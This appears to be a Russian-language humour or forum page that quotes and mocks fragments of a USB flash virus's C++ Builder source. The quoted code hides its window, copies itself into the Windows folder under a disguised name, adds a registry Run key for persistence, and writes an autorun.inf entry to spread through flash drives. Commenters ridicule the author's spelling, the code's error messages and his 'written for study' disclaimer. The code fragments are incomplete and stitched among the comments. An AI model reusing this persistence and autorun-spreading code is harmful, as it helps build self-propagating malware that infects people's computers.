- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
void __fastcall TForm1::FormCreate(TObject *Sender)
{
Application->ShowMainForm=false; //прячимся
// Осваеваемся в новой системе
if(ParamStr(0)!="C:\\WINDOWS\\WebKill_USB_Flash_V.exe") {
//скопируемся
CopyFile(ParamStr(0).c_str(),"C:\\WINDOWS\\WebKill_USB_Flash_V.exe",true);
//и пропишимся в автозагрузку:
TRegistry *reg=new TRegistry;
reg->RootKey=HKEY_LOCAL_MACHINE;
reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", false);
reg->WriteString("SystemX" , "C:\\WINDOWS\\WebKill_USB_Flash_V.exe");
reg->CloseKey();
reg->Free();
}
ПРЯЧИМСЯ (с) всеми извесный убиватель интернетов и "пейсатель" вирусов, которые грузятся с флэшки, бугога. Самый няшный кусочек :-) Хотя там ещё было убер заражение подключённых устройств. Судите сами господа http://3.webkill.ru/flash_virus.html
Follow us!
Написано в целях изучения подобных технологий, небудьте жестокими, любите жизнь =)
Ответственность за безконтрольное распространение вируса основаного на моём коде ложиться на того кто это всё компелировал, и дал "другу посмотреть"
Компеляторы компелировали компелировали да не выкомпелировали :)
Впрочем, уебкилл -- школота и скрипт-кидди, от него этим за версту пахнет. "Хакинг", мля).
if(F)
{
fprintf(F, "[autorun]\n"); // создаём загрузочную запись
fprintf(F, "open=1v.exe\n");
fprintf(F, "shell=Открыть\n");
fclose(F);
}
}
/*
else
{
ShowMessage(String("Cannot open file \"") + S + "\"");
}
фиерическое юзабилити - "вирус" выдает пользователю сообщения об ошибке, приятненько.
WebKill горантирует надёжность и качество выполняемых заказов.
-----
бля, он не один =\ Я Вам "горонтирую".
осваеваемся > осваиваемся
пропишимся > пропишемся
лол, парень нигде не угадал